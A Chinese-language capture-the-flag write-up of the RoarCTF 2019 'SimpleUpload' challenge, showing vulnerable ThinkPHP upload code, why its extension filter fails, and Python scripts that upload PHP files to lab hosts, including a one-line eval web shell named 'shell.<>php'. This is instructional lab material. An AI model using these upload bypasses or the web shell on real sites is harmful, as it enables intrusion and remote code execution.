[RoarCTF2019]SimpleUpload

推荐链接:https://inanb.github.io/2021/09/15/RoarCTF-2019-Simple-Upload/

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

知识点:

tp默认上传目录:index.php/home/index/upload

tp支持多个文件上传

tp的文件上传用法这里不对,限定后缀应为$upload->exts,所以文件名过滤无效

tp上传默认命名方式受时间戳控制,所以时间间隔很短的上传文件名会大致一样

解题方法:

题目中会打印出来上传成功的不以.php结尾的文件名,通过同时上传多个文件的方法拿到php两侧文件的文件名,然后根据不一样的位数爆破php文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
#from io import BytesIO

url="http://cf4a0675-7522-4210-bbdf-0492504324b3.node4.buuoj.cn:81/index.php/home/index/upload"

files1 = {'file': open('1.txt','r')}
files2 = {'file[]': open('1.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)

其他方法:直接上传xxx.<>php即可直接拿到文件名

其他方法:

1
2
3
4
5
6
import requests
url = "http://83a80334-cdce-4f32-af7b-18f7d54b565f.node5.buuoj.cn:81/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)